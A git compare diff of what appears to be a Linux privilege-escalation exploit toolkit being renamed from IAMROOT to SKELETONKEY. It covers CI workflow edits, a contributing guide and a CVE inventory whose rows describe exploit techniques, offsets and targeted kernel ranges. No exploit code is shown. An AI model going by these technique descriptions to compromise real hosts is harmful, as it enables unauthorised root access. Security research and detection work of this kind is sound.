Compare commits
37 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 97be306fd2 | |||
| a9c8f7d8c6 | |||
| 150f16bc97 | |||
| c63ee72aa1 | |||
| 86812b043d | |||
| 0d87cbc71c | |||
| 2b1e96336e | |||
| 1571b88725 | |||
| 36814f272d | |||
| d05a46c5c6 | |||
| ea1744e6f0 | |||
| c00c3b463a | |||
| 4f30d00a1c | |||
| 3e6e0d869b | |||
| a26f471ecf | |||
| cdb8f5e8f9 | |||
| 9a4cc91619 | |||
| ac557b67d0 | |||
| a8c8d5ef1f | |||
| 3b287f84f0 | |||
| 33f81aeb69 | |||
| 5be3c46719 | |||
| 58fb2e0951 | |||
| 2904fa159c | |||
| 2873133852 | |||
| 95135213e5 | |||
| 0fbe1b058f | |||
| e13edd0cfd | |||
| 5a73565e0e | |||
| 324b539d65 | |||
| e668c3301f | |||
| 347a9af832 | |||
| 023289a03a | |||
| e7ced5db7c | |||
| b5188b7818 | |||
| 9593d90385 | |||
| 9d88b475c1 |
+25
-11
@@ -22,7 +22,8 @@ jobs:
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
build-essential clang make linux-libc-dev
|
||||
build-essential clang make linux-libc-dev \
|
||||
libglib2.0-dev pkg-config
|
||||
|
||||
- name: show compiler
|
||||
run: ${{ matrix.cc }} --version
|
||||
@@ -37,22 +38,34 @@ jobs:
|
||||
make
|
||||
fi
|
||||
|
||||
- name: sanity — iamroot --version
|
||||
run: ./iamroot --version
|
||||
- name: sanity — skeletonkey --version
|
||||
run: ./skeletonkey --version
|
||||
|
||||
- name: sanity — iamroot --list
|
||||
run: ./iamroot --list
|
||||
- name: sanity — skeletonkey --list
|
||||
run: ./skeletonkey --list
|
||||
|
||||
- name: sanity — iamroot --scan (no exploit; just detect)
|
||||
run: ./iamroot --scan --no-color || true
|
||||
- name: sanity — skeletonkey --scan (no exploit; just detect)
|
||||
run: ./skeletonkey --scan --no-color || true
|
||||
# exit code may be nonzero (vulnerable host = exit 2, missing
|
||||
# precond = exit 4) — that's diagnostic data, not CI failure
|
||||
|
||||
- name: sanity — --detect-rules auditd
|
||||
run: ./iamroot --detect-rules --format=auditd | head -50
|
||||
run: ./skeletonkey --detect-rules --format=auditd | head -50
|
||||
|
||||
- name: sanity — --detect-rules sigma
|
||||
run: ./iamroot --detect-rules --format=sigma | head -50
|
||||
run: ./skeletonkey --detect-rules --format=sigma | head -50
|
||||
|
||||
- name: tests — detect() unit suite
|
||||
env:
|
||||
CC: ${{ matrix.cc }}
|
||||
run: |
|
||||
# Run as a non-root user so modules' "already root" gates do
|
||||
# not short-circuit before the synthetic host-fingerprint
|
||||
# checks fire. The test binary itself is platform-agnostic;
|
||||
# the assertions are #ifdef __linux__ guarded.
|
||||
sudo useradd -m -s /bin/bash skeletonkeyci 2>/dev/null || true
|
||||
sudo chown -R skeletonkeyci .
|
||||
sudo -u skeletonkeyci make test
|
||||
|
||||
# Static build job: ensures the project links cleanly when -static is
|
||||
# requested. Useful for deployment to minimal containers / fleet scans
|
||||
@@ -66,7 +79,8 @@ jobs:
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
build-essential make linux-libc-dev libc6-dev
|
||||
build-essential make linux-libc-dev libc6-dev \
|
||||
libglib2.0-dev pkg-config
|
||||
- name: make static
|
||||
# Glibc static linking pulls in NSS at runtime which breaks
|
||||
# getpwnam; the legacy DIRTYFAIL Makefile noted this. For now,
|
||||
@@ -75,7 +89,7 @@ jobs:
|
||||
# gate the merge on it. Migrate to musl-gcc when we want a
|
||||
# truly portable static binary.
|
||||
continue-on-error: true
|
||||
run: make static && ls -la iamroot
|
||||
run: make static && ls -la skeletonkey
|
||||
|
||||
# Phase 4 followup (placeholder): kernel-VM matrix. Each entry runs
|
||||
# the binary against a VM running a specific (vulnerable or patched)
|
||||
|
||||
@@ -7,7 +7,7 @@ name: release
|
||||
# Maintainer flow:
|
||||
# git tag v0.1.0
|
||||
# git push origin v0.1.0
|
||||
# → CI builds + publishes release with iamroot-x86_64 + iamroot-arm64
|
||||
# → CI builds + publishes release with skeletonkey-x86_64 + skeletonkey-arm64
|
||||
|
||||
on:
|
||||
push:
|
||||
@@ -44,20 +44,20 @@ jobs:
|
||||
CC: ${{ matrix.cc }}
|
||||
run: |
|
||||
make
|
||||
file iamroot
|
||||
ls -la iamroot
|
||||
file skeletonkey
|
||||
ls -la skeletonkey
|
||||
|
||||
- name: rename + checksum
|
||||
run: |
|
||||
mv iamroot iamroot-${{ matrix.target }}
|
||||
sha256sum iamroot-${{ matrix.target }} > iamroot-${{ matrix.target }}.sha256
|
||||
mv skeletonkey skeletonkey-${{ matrix.target }}
|
||||
sha256sum skeletonkey-${{ matrix.target }} > skeletonkey-${{ matrix.target }}.sha256
|
||||
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: iamroot-${{ matrix.target }}
|
||||
name: skeletonkey-${{ matrix.target }}
|
||||
path: |
|
||||
iamroot-${{ matrix.target }}
|
||||
iamroot-${{ matrix.target }}.sha256
|
||||
skeletonkey-${{ matrix.target }}
|
||||
skeletonkey-${{ matrix.target }}.sha256
|
||||
|
||||
release:
|
||||
needs: build
|
||||
@@ -72,7 +72,7 @@ jobs:
|
||||
- name: flatten artifacts
|
||||
run: |
|
||||
find dist -type f -exec mv {} . \;
|
||||
ls -la iamroot-*
|
||||
ls -la skeletonkey-*
|
||||
|
||||
- name: collect release notes
|
||||
id: notes
|
||||
@@ -81,16 +81,16 @@ jobs:
|
||||
echo "tag=$tag" >> "$GITHUB_OUTPUT"
|
||||
# Pull the latest entry from CVES.md / ROADMAP.md for the body
|
||||
{
|
||||
echo "## IAMROOT $tag"
|
||||
echo "## SKELETONKEY $tag"
|
||||
echo
|
||||
echo "Pre-built binaries for x86_64 and arm64. Checksums alongside."
|
||||
echo
|
||||
echo "### Install"
|
||||
echo
|
||||
echo '```bash'
|
||||
echo "curl -sSLfo /tmp/iamroot https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/iamroot-\$(uname -m | sed s/aarch64/arm64/)"
|
||||
echo "chmod +x /tmp/iamroot && sudo mv /tmp/iamroot /usr/local/bin/iamroot"
|
||||
echo "iamroot --version"
|
||||
echo "curl -sSLfo /tmp/skeletonkey https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/skeletonkey-\$(uname -m | sed s/aarch64/arm64/)"
|
||||
echo "chmod +x /tmp/skeletonkey && sudo mv /tmp/skeletonkey /usr/local/bin/skeletonkey"
|
||||
echo "skeletonkey --version"
|
||||
echo '```'
|
||||
echo
|
||||
echo "Or one-shot via the install script:"
|
||||
@@ -109,12 +109,12 @@ jobs:
|
||||
uses: softprops/action-gh-release@v2
|
||||
with:
|
||||
tag_name: ${{ steps.notes.outputs.tag }}
|
||||
name: IAMROOT ${{ steps.notes.outputs.tag }}
|
||||
name: SKELETONKEY ${{ steps.notes.outputs.tag }}
|
||||
body_path: release-notes.md
|
||||
files: |
|
||||
iamroot-x86_64
|
||||
iamroot-x86_64.sha256
|
||||
iamroot-arm64
|
||||
iamroot-arm64.sha256
|
||||
skeletonkey-x86_64
|
||||
skeletonkey-x86_64.sha256
|
||||
skeletonkey-arm64
|
||||
skeletonkey-arm64.sha256
|
||||
install.sh
|
||||
fail_on_unmatched_files: false # install.sh may not exist at first tag
|
||||
|
||||
+3
-1
@@ -5,7 +5,9 @@ build/
|
||||
*.dSYM/
|
||||
modules/*/build/
|
||||
modules/*/dirtyfail
|
||||
modules/*/iamroot
|
||||
modules/*/skeletonkey
|
||||
/skeletonkey
|
||||
/skeletonkey-test
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
|
||||
@@ -0,0 +1,89 @@
|
||||
# Contributing to SKELETONKEY
|
||||
|
||||
SKELETONKEY is a curated corpus. PRs welcome for the things below.
|
||||
For everything else, open an issue first to discuss scope.
|
||||
|
||||
## What we accept
|
||||
|
||||
### 1. Kernel offsets for the `--full-chain` table
|
||||
|
||||
The 11 🟡 PRIMITIVE modules use the shared finisher in
|
||||
`core/finisher.c` to convert their primitive into a root pop via
|
||||
`modprobe_path` overwrite. That needs `&modprobe_path` (and friends)
|
||||
at runtime — resolved via env vars / `/proc/kallsyms` /
|
||||
`/boot/System.map` / the embedded `kernel_table[]` in
|
||||
`core/offsets.c`.
|
||||
|
||||
The embedded table is **empty by default** to honor the
|
||||
no-fabricated-offsets rule. Every entry must come from a real kernel
|
||||
you have root on.
|
||||
|
||||
**Workflow:**
|
||||
|
||||
```bash
|
||||
sudo skeletonkey --dump-offsets # on the target kernel build
|
||||
# Paste the printed C struct entry into core/offsets.c kernel_table[]
|
||||
# Open a PR titled "offsets: <distro> <kernel_release>"
|
||||
```
|
||||
|
||||
Include in the PR body:
|
||||
- Distro + kernel version (`uname -a`, `cat /etc/os-release`)
|
||||
- How you verified the offsets (kallsyms / System.map / debuginfo)
|
||||
- Whether `--full-chain` succeeds end-to-end against any 🟡 module
|
||||
on that kernel (if you can test on a vulnerable build)
|
||||
|
||||
### 2. New modules
|
||||
|
||||
A new CVE module is welcome if:
|
||||
|
||||
- The bug is **patched in upstream mainline** (no 0days here)
|
||||
- It has a public CVE assignment or clear advisory
|
||||
- The kernel range it affects has realistic deployment footprint
|
||||
- You can include a working detect() with branch-backport ranges
|
||||
- You ship matching detection rules (auditd at minimum)
|
||||
|
||||
Use any existing module as a template. Lightest-weight reference:
|
||||
`modules/ptrace_traceme_cve_2019_13272/skeletonkey_modules.c`.
|
||||
|
||||
Mandatory:
|
||||
- Detect short-circuits cleanly on patched kernels (we test this)
|
||||
- `--i-know` gate on exploit
|
||||
- Honest scope: `SKELETONKEY_EXPLOIT_OK` only after empirical root,
|
||||
otherwise `EXPLOIT_FAIL` with diagnostic
|
||||
- `NOTICE.md` crediting the original CVE reporter + PoC author
|
||||
|
||||
After the module file exists, wire it into:
|
||||
- `core/registry.h` (extern declaration)
|
||||
- `skeletonkey.c` main() (register call)
|
||||
- `Makefile` (new objects + ALL_OBJS)
|
||||
- `CVES.md` (inventory entry)
|
||||
|
||||
### 3. Detection rules
|
||||
|
||||
If you're adding only detection coverage (no exploit) for an
|
||||
existing or new CVE, that's fine. Drop a sigma rule into the module
|
||||
or a new auditd rule file.
|
||||
|
||||
### 4. Bug reports + CVE-status corrections
|
||||
|
||||
Distro backports that patched a CVE without bumping the upstream
|
||||
version → file an issue. Same for kernels we mis-classify as
|
||||
vulnerable.
|
||||
|
||||
## What we don't accept
|
||||
|
||||
- Untested code paths claiming `SKELETONKEY_EXPLOIT_OK`
|
||||
- Per-kernel offsets fabricated without verification
|
||||
- Modules without detection rules
|
||||
- 0day disclosures (responsible disclosure first; bundle here
|
||||
after upstream patch ships)
|
||||
- Container escapes that don't chain to host root
|
||||
|
||||
## Code style
|
||||
|
||||
C99. Match the surrounding file. Run `make` and the existing
|
||||
CI build (`.github/workflows/build.yml`) before opening the PR.
|
||||
|
||||
## License
|
||||
|
||||
By contributing you agree your work is MIT-licensed.
|
||||
@@ -1,6 +1,6 @@
|
||||
# CVE inventory
|
||||
|
||||
The curated list of CVEs IAMROOT exploits, with patch status and
|
||||
The curated list of CVEs SKELETONKEY exploits, with patch status and
|
||||
module status. Updated as new modules land or as upstream patches
|
||||
ship.
|
||||
|
||||
@@ -23,11 +23,42 @@ Status legend:
|
||||
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
|
||||
historical reference only
|
||||
|
||||
**Counts (v0.3.0):** 🟢 13 · 🟡 11 (all `--full-chain` capable) · 🔵 0 · ⚪ 1 · 🔴 0
|
||||
**Counts:** 31 modules total — 28 verified (🟢 14 · 🟡 14) plus 3
|
||||
ported-but-unverified (`dirtydecrypt`, `fragnesia`, `pack2theroot` —
|
||||
see note below). 🔵 0 · ⚪ 0 planned-with-stub · 🔴 0. (One ⚪ row
|
||||
below — CVE-2026-31402 — is a *candidate* with no module, not counted
|
||||
as a module.)
|
||||
|
||||
> **Note on `dirtydecrypt` / `fragnesia` / `pack2theroot`:** all three
|
||||
> are ported from public PoCs. The **exploit bodies** are not yet
|
||||
> VM-verified end-to-end, so they're listed 🟡 but excluded from the
|
||||
> 28-module verified corpus.
|
||||
>
|
||||
> All three now have **pinned fix commits and version-based
|
||||
> `detect()`**:
|
||||
> - `pack2theroot` reads PackageKit's `VersionMajor/Minor/Micro` over
|
||||
> D-Bus and compares against fix release **1.3.5** (commit `76cfb675`).
|
||||
> - `dirtydecrypt` uses the `kernel_range` model against mainline fix
|
||||
> **`a2567217`** (Linux 7.0); kernels < 7.0 predate the vulnerable
|
||||
> rxgk code per Debian's tracker.
|
||||
> - `fragnesia` uses `kernel_range` against mainline **7.0.9**; older
|
||||
> Debian-stable branches (5.10/6.1/6.12) are still listed vulnerable
|
||||
> on Debian's tracker — backport entries will extend the table as
|
||||
> distros publish them.
|
||||
>
|
||||
> `--auto` auto-enables active probes (forked per module so a probe
|
||||
> crash cannot tear down the scan), which lets all three give an
|
||||
> empirical confirmation on top of the version verdict. See each
|
||||
> module's `MODULE.md`.
|
||||
|
||||
Every module ships a `NOTICE.md` crediting the original CVE
|
||||
reporter and PoC author. `skeletonkey --dump-offsets` populates the
|
||||
embedded offset table for new kernel builds — operators with
|
||||
root on a host can upstream their kernel's offsets via PR.
|
||||
|
||||
## Inventory
|
||||
|
||||
| CVE | Name | Class | First patched | IAMROOT module | Status | Notes |
|
||||
| CVE | Name | Class | First patched | SKELETONKEY module | Status | Notes |
|
||||
|---|---|---|---|---|---|---|
|
||||
| CVE-2026-31431 | Copy Fail (algif_aead `authencesn` page-cache write) | LPE (page-cache write → /etc/passwd) | mainline 2026-04-22 | `copy_fail` | 🟢 | Verified on Ubuntu 26.04, Alma 9, Debian 13. Full AppArmor bypass. |
|
||||
| CVE-2026-43284 (v4) | Dirty Frag — IPv4 xfrm-ESP page-cache write | LPE (same primitive shape as Copy Fail, different trigger) | mainline 2026-05-XX | `dirty_frag_esp` | 🟢 | Full PoC + active-probe scan |
|
||||
@@ -35,9 +66,9 @@ Status legend:
|
||||
| CVE-2026-43500 | Dirty Frag — RxRPC page-cache write | LPE | mainline 2026-05-XX | `dirty_frag_rxrpc` | 🟢 | |
|
||||
| (variant, no CVE) | Copy Fail GCM variant — xfrm-ESP `rfc4106(gcm(aes))` page-cache write | LPE | n/a | `copy_fail_gcm` | 🟢 | Sibling primitive, same fix |
|
||||
| CVE-2022-0847 | Dirty Pipe — pipe `PIPE_BUF_FLAG_CAN_MERGE` write | LPE (arbitrary file write into page cache) | mainline 5.17 (2022-02-23) | `dirty_pipe` | 🟢 | Full detect + exploit + cleanup. Detect: branch-backport ranges + **active sentinel probe** (`--active` fires the primitive against a /tmp probe file and verifies the page cache poisoning lands — catches silent distro backports the version check misses). Exploit: page-cache write into /etc/passwd UID field followed by `su` to drop a root shell. Auto-refuses on patched kernels. Cleanup: drop_caches + POSIX_FADV_DONTNEED. |
|
||||
| CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `entrybleed` | 🟢 | Stage-1 leak brick. Working on lts-6.12.86 (verified 2026-05-16 via `iamroot --exploit entrybleed --i-know`). Default `entry_SYSCALL_64` slot offset matches lts-6.12.x; override via `IAMROOT_ENTRYBLEED_OFFSET=0x...`. Other modules can call `entrybleed_leak_kbase_lib()` as a library. x86_64 only. |
|
||||
| CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `entrybleed` | 🟢 | Stage-1 leak brick. Working on lts-6.12.86 (verified 2026-05-16 via `skeletonkey --exploit entrybleed --i-know`). Default `entry_SYSCALL_64` slot offset matches lts-6.12.x; override via `SKELETONKEY_ENTRYBLEED_OFFSET=0x...`. Other modules can call `entrybleed_leak_kbase_lib()` as a library. x86_64 only. |
|
||||
| CVE-2026-31402 | NFS replay-cache heap overflow | LPE (NFS server) | mainline 2026-04-03 | — | ⚪ | Candidate. Different audience (NFS servers) — TBD whether in-scope. |
|
||||
| CVE-2021-4034 | Pwnkit — pkexec argv[0]=NULL → env-injection | LPE (userspace setuid binary) | polkit 0.121 (2022-01-25) | `pwnkit` | 🟢 | Full detect + exploit (canonical Qualys-style: gconv-modules + execve NULL-argv). Detect handles both polkit version formats (legacy "0.105" + modern "126"). Exploit compiles payload via target's gcc → falls back gracefully if no cc available. Cleanup nukes /tmp/iamroot-pwnkit-* workdirs. **First userspace LPE in IAMROOT**. Ships auditd + sigma rules. |
|
||||
| CVE-2021-4034 | Pwnkit — pkexec argv[0]=NULL → env-injection | LPE (userspace setuid binary) | polkit 0.121 (2022-01-25) | `pwnkit` | 🟢 | Full detect + exploit (canonical Qualys-style: gconv-modules + execve NULL-argv). Detect handles both polkit version formats (legacy "0.105" + modern "126"). Exploit compiles payload via target's gcc → falls back gracefully if no cc available. Cleanup nukes /tmp/skeletonkey-pwnkit-* workdirs. **First userspace LPE in SKELETONKEY**. Ships auditd + sigma rules. |
|
||||
| CVE-2024-1086 | nf_tables — `nft_verdict_init` cross-cache UAF | LPE (kernel arbitrary R/W via slab UAF) | mainline 6.8-rc1 (Jan 2024) | `nf_tables` | 🟡 | Hand-rolled nfnetlink batch builder (no libmnl dep) constructs the NFT_GOTO+NFT_DROP malformed verdict in a pipapo set, fires the double-free, sprays msg_msg in kmalloc-cg-96 and snapshots slabinfo. Stops before the Notselwyn pipapo R/W dance (per-kernel offsets refused). Branch-backport thresholds: 6.7.2 / 6.6.13 / 6.1.74 / 5.15.149 / 5.10.210 / 5.4.269. Also gates on unprivileged user_ns clone availability. |
|
||||
| CVE-2021-3493 | Ubuntu overlayfs userns file-capability injection | LPE (host root via file caps in userns-mounted overlayfs) | Ubuntu USN-4915-1 (Apr 2021) | `overlayfs` | 🟢 | Full vsh-style exploit (userns+overlayfs mount + xattr file-cap injection + exec). **Ubuntu-specific** (vanilla upstream didn't enable userns-overlayfs-mount until 5.11). Detect parses /etc/os-release for ID=ubuntu, checks unprivileged_userns_clone sysctl, and with `--active` attempts the mount as a fork-isolated probe. Ships auditd rules covering mount(overlay) + setxattr(security.capability). |
|
||||
| CVE-2022-2588 | net/sched cls_route4 handle-zero dead UAF | LPE (kernel UAF in cls_route4 filter remove) | mainline 5.20 / 5.19.7 (Aug 2022) | `cls_route4` | 🟡 | Userns+netns reach, tc/ip dummy interface + route4 dangling-filter add/del, msg_msg kmalloc-1k spray, UDP classify drive to follow the dangling pointer, slabinfo delta witness. Stops at empirical UAF-fired signal; no leak→cred overwrite (per-kernel offsets refused). Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. |
|
||||
@@ -46,15 +77,21 @@ Status legend:
|
||||
| CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. |
|
||||
| CVE-2023-0386 | overlayfs `copy_up` preserves setuid bit across mount-ns boundary | LPE (host root via setuid carrier from unprivileged mount) | mainline 5.11 / 6.2-rc6 (Jan 2023) | `overlayfs_setuid` | 🟢 | Distro-agnostic — places a setuid binary in an overlay lower, mounts via fuse-overlayfs userns trick, executes from upper to inherit the setuid bit + root euid. Branch backports tracked for 5.10.169 / 5.15.92 / 6.1.11 / 6.2.x. |
|
||||
| CVE-2021-22555 | iptables xt_compat heap-OOB → cross-cache UAF | LPE (kernel R/W via 4-byte heap OOB write + msg_msg/sk_buff groom) | mainline 5.12 / 5.11.10 (Apr 2021) | `netfilter_xtcompat` | 🟡 | Hand-rolled `ipt_replace` blob + setsockopt(IPT_SO_SET_REPLACE) fires the 4-byte OOB, msg_msg spray in kmalloc-2k + sk_buff sidecar, MSG_COPY scan for cross-cache landing + slabinfo delta. Stops before the leak → modprobe_path overwrite chain (per-kernel offsets refused). Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 / 4.9.266 / 4.4.266. **Bug existed since 2.6.19 (2006).** Andy Nguyen's PGZ disclosure. |
|
||||
| CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `IAMROOT_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. |
|
||||
| CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `SKELETONKEY_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. |
|
||||
| CVE-2022-0185 | legacy_parse_param fsconfig heap OOB → container-escape | LPE (cross-cache UAF → cred overwrite from rootless container) | mainline 5.16.2 (Jan 2022) | `fuse_legacy` | 🟡 | userns+mountns reach, fsopen("cgroup2") + double fsconfig SET_STRING fires the 4k OOB, msg_msg cross-cache groom in kmalloc-4k, MSG_COPY read-back detects whether the OOB landed in an adjacent neighbour. Stops before the m_ts overflow → MSG_COPY arbitrary read chain (scaffold present, no per-kernel offsets). **Container-escape angle** — relevant to rootless docker/podman/snap. Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171. |
|
||||
| CVE-2023-3269 | StackRot — maple-tree VMA-split UAF | LPE (kernel R/W via maple node use-after-RCU) | mainline 6.4-rc4 (Jul 2023) | `stackrot` | 🟡 | Two-thread race driver (MAP_GROWSDOWN + mremap rotation vs fork+fault) with cpu pinning + 3 s budget; kmalloc-192 spray for anon_vma/anon_vma_chain; race-iteration + signal breadcrumb. Honest reliability note in module header: **~<1% race-win/run on a vulnerable kernel** — the public PoC averages minutes-to-hours and needs a much wider VMA staging matrix to be reliable. Useful as a "is the maple-tree path reachable here?" probe. Branch backports: 6.4.4 / 6.3.13 / 6.1.37. |
|
||||
| CVE-2020-14386 | AF_PACKET tpacket_rcv VLAN integer underflow | LPE (heap OOB write via crafted frame) | mainline 5.9 (Sep 2020) | `af_packet2` | 🟡 | Sibling of CVE-2017-7308; tp_reserve underflow + sendmmsg skb spray + slab-delta witness. PRIMITIVE-DEMO scope (no cred overwrite). Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235. Or Cohen's disclosure. Shares `iamroot-af-packet` audit key with CVE-2017-7308. |
|
||||
| CVE-2020-14386 | AF_PACKET tpacket_rcv VLAN integer underflow | LPE (heap OOB write via crafted frame) | mainline 5.9 (Sep 2020) | `af_packet2` | 🟡 | Sibling of CVE-2017-7308; tp_reserve underflow + sendmmsg skb spray + slab-delta witness. PRIMITIVE-DEMO scope (no cred overwrite). Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235. Or Cohen's disclosure. Shares `skeletonkey-af-packet` audit key with CVE-2017-7308. |
|
||||
| CVE-2023-32233 | nf_tables anonymous-set UAF | LPE (kernel UAF in nft_set transaction) | mainline 6.4-rc4 (May 2023) | `nft_set_uaf` | 🟡 | Sondej+Krysiuk. Hand-rolled nfnetlink batch (NEWTABLE → NEWCHAIN → NEWSET(ANON\|EVAL) → NEWRULE(lookup) → DELSET → DELRULE) drives the deactivation skip; cg-512 msg_msg cross-cache spray. Branch backports: 4.19.283 / 5.4.243 / 5.10.180 / 5.15.111 / 6.1.28 / 6.2.15 / 6.3.2. --full-chain forges freed-set with `set->data = kaddr`. |
|
||||
| CVE-2023-4622 | AF_UNIX garbage-collector race UAF | LPE (slab UAF, plain unprivileged) | mainline 6.6-rc1 (Aug 2023) | `af_unix_gc` | 🟡 | Lin Ma. Two-thread race driver: SCM_RIGHTS cycle vs unix_gc trigger; kmalloc-512 (SLAB_TYPESAFE_BY_RCU) refill via msg_msg. **Widest deployment of any module — bug exists since 2.x.** No userns required. Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / 5.15.130 / 6.1.51 / 6.5.0. |
|
||||
| CVE-2022-25636 | nft_fwd_dup_netdev_offload heap OOB | LPE (kernel R/W via offload action[] OOB) | mainline 5.17 / 5.16.11 (Feb 2022) | `nft_fwd_dup` | 🟡 | Aaron Adams (NCC). NFT_CHAIN_HW_OFFLOAD chain + 16 immediates + fwd writes past action.entries[1]. msg_msg kmalloc-512 spray. Branch backports: 5.4.181 / 5.10.102 / 5.15.25 / 5.16.11. |
|
||||
| CVE-2023-0179 | nft_payload set-id memory corruption | LPE (regs->data[] OOB R/W) | mainline 6.2-rc4 / 6.1.6 (Jan 2023) | `nft_payload` | 🟡 | Davide Ornaghi. NFTA_SET_DESC variable-length element + NFTA_SET_ELEM_EXPRESSIONS payload-set whose verdict.code drives the OOB. Dual cg-96 + 1k spray. Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 / 5.15.88 / 6.1.6. |
|
||||
| CVE-TBD | Fragnesia (ESP shared-frag in-place encrypt) | LPE (page-cache write) | mainline TBD | `_stubs/fragnesia_TBD` | ⚪ | Stub. Per `findings/audit_leak_write_modprobe_backups_2026-05-16.md`, requires CAP_NET_ADMIN in userns netns — may or may not be in-scope depending on target environment. |
|
||||
| CVE-2021-3156 | sudo Baron Samedit — `sudoedit -s` heap overflow | LPE (userspace setuid sudo) | sudo 1.9.5p2 (Jan 2021) | `sudo_samedit` | 🟡 | Qualys Baron Samedit. Heap overflow via `sudoedit -s '\'` escaped-backslash parsing. Affects sudo 1.8.2 ≤ V ≤ 1.9.5p1. Heap-tuned exploit — may crash sudo on a mismatched layout. Ships auditd + sigma rules. |
|
||||
| CVE-2021-33909 | Sequoia — `seq_file` size_t overflow → kernel stack OOB | LPE (kernel stack OOB write) | mainline 5.13.4 / 5.10.52 / 5.4.134 (Jul 2021) | `sequoia` | 🟡 | Qualys Sequoia. `size_t`-to-`int` conversion in `seq_file` drives an OOB write off the kernel stack via a deeply-nested directory mount. Primitive-only — fires the overflow + records a witness; no portable cred chain. Branch backports: 5.13.4 / 5.10.52 / 5.4.134. Ships auditd rule. |
|
||||
| CVE-2023-22809 | sudoedit `EDITOR`/`VISUAL` `--` argv escape | LPE (userspace setuid sudoedit) | sudo 1.9.12p2 (Jan 2023) | `sudoedit_editor` | 🟢 | Structural argv-injection — an extra `--` in `EDITOR`/`VISUAL` makes setuid `sudoedit` open an attacker-chosen file as root. No kernel state, no offsets, no race. Affects sudo 1.8.0 ≤ V < 1.9.12p2. Ships auditd + sigma rules. |
|
||||
| CVE-2023-2008 | vmwgfx DRM buffer-object size-validation OOB | LPE (kernel R/W via kmalloc-512 OOB) | mainline 6.3-rc6 (Apr 2023) | `vmwgfx` | 🟡 | vmwgfx DRM `bo` size-validation gap → OOB write in kmalloc-512. Affects 4.0 ≤ K < 6.3-rc6 on hosts with the `vmwgfx` module loaded (VMware guests). Primitive-only — fires the OOB + slab witness; no cred chain. Branch backports: 6.2.10 / 6.1.23. Ships auditd rule. |
|
||||
| CVE-2026-31635 | DirtyDecrypt / DirtyCBC — rxgk missing-COW in-place decrypt | LPE (page-cache write into a setuid binary) | mainline Linux 7.0 (commit `a2567217ade970ecc458144b6be469bc015b23e5`) | `dirtydecrypt` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Sibling of Copy Fail / Dirty Frag in the rxgk (AFS rxrpc encryption) subsystem. `fire()` sliding-window page-cache write, ~256 fires/byte; rewrites the first 120 bytes of `/usr/bin/su` with a setuid-shell ELF. detect() is version-pinned: kernels < 7.0 predate the vulnerable rxgk code (Debian: `<not-affected, vulnerable code not present>` for 5.10/6.1/6.12); kernels ≥ 7.0 have the fix. `--active` probe fires the primitive at a `/tmp` sentinel for empirical override. x86_64. |
|
||||
| CVE-2026-46300 | Fragnesia — XFRM ESP-in-TCP `skb_try_coalesce` SHARED_FRAG loss | LPE (page-cache write into a setuid binary) | mainline 7.0.9; older Debian-stable branches still unfixed as of 2026-05-22 | `fragnesia` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Latent bug exposed by the Dirty Frag fix (`f4c50a4034e6`). AF_ALG GCM keystream table + userns/netns + XFRM ESP-in-TCP splice trigger pair; rewrites the first 192 bytes of `/usr/bin/su`. Needs `CONFIG_INET_ESPINTCP` + unprivileged userns (the in-scope question the old `_stubs/fragnesia_TBD` raised — resolved: ships, reports PRECOND_FAIL when the userns gate is closed). detect() is version-pinned at 7.0.9; older branches that haven't backported yet are flagged VULNERABLE on the version check (override empirically via `--active`). PoC's ANSI TUI dropped in the port. x86_64. |
|
||||
